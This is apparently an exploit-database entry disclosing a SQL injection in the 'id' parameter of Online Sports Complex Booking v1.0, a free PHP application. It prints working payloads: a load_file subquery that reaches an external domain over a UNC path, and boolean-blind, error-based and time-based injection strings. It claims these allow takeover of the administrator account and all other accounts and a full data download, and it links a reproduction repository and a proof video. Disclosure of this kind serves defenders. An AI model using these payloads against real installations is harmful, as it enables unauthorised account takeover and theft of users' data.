Lucene search

K
zdtNu11secur1ty1337DAY-ID-37527
HistoryMar 27, 2022 - 12:00 a.m.

Online Sports Complex Booking v1.0 SQL injection Vulnerability

2022-03-2700:00:00
nu11secur1ty
0day.today
279
sql injection
administrator control
data download
critical
## Title: Online Sports Complex Booking v1.0 SQLi 
## Author: nu11secur1ty
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Online-Sports-Complex-Booking

## Description:
The `id` parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\sply2l4679zip0am6y4b4djnsey7m4avdj46vuk.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html\\ujf'))+' was submitted in the id parameter. 
This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed.
The attacker can take administrator account control and also of all accounts on this system, also the malicious user can download all information about this system.

Status: CRITICAL

[+] Payloads:

```mysql

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=4' AND 9917=9917-- ckJc&p=view_facility

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=4' AND (SELECT 2905 FROM(SELECT COUNT(*),CONCAT(0x7176716a71,(SELECT (ELT(2905=2905,1))),0x71706b7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- Oirb&p=view_facility

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=4' AND (SELECT 4600 FROM (SELECT(SLEEP(5)))WjEd)-- eeCs&p=view_facility
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Online-Sports-Complex-Booking)

## Proof and Exploit:
[href](https://streamable.com/2sle4i)